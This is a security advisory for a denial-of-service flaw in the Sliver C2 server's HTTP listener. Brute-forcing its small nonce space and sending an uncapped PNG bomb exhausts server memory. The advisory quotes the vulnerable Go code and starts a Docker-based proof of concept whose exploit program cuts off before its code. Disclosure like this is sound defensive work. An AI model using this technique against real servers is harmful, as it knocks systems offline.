CVE-2026-77622

### Summary Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability. ### Details The first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go` ```go const ( EncoderModulus = uint64(65537) ) ``` The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in: `util/encoders/images.go` ```go func (p PNGEncoder) Encode(data []byte) ([]byte, error) { img := imageFromBytes(data) var buf bytes.Buffer encoder.Encode(&buf, img) return buf.Bytes(), nil } func (p PNGEncoder) Decode(data []byte) ([]byte, error) { buf := bytes.NewBuffer(data) img, err := png.Decode(buf) if err != nil { return nil, err } return bytesFromImage(img), nil } ``` ### PoC The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused. Get the latest version of Sliver (Currently 1.7.3) ```bash git clone https://github.com/BishopFox/sliver.git ``` Build the Docker container: ```bash cd sliver docker build -t sliver-test:local -f Dockerfile . ``` Run the Docker container with a memory cap for example 4GB: ```bash docker run --rm \ --name sliver-test \ --memory=4g \ -p 8080:8080 \ -it \ sliver-test:local ``` After the Docker container starts, create an http listener on port 8080: ```bash http -L 0.0.0.0 -l 8080 ``` In a seperate terminal create the following Go project: `go.mod` ```Go module pngboomer go 1.25 ``` `poc.go` ```Go // pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill. // // SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run // it against a Do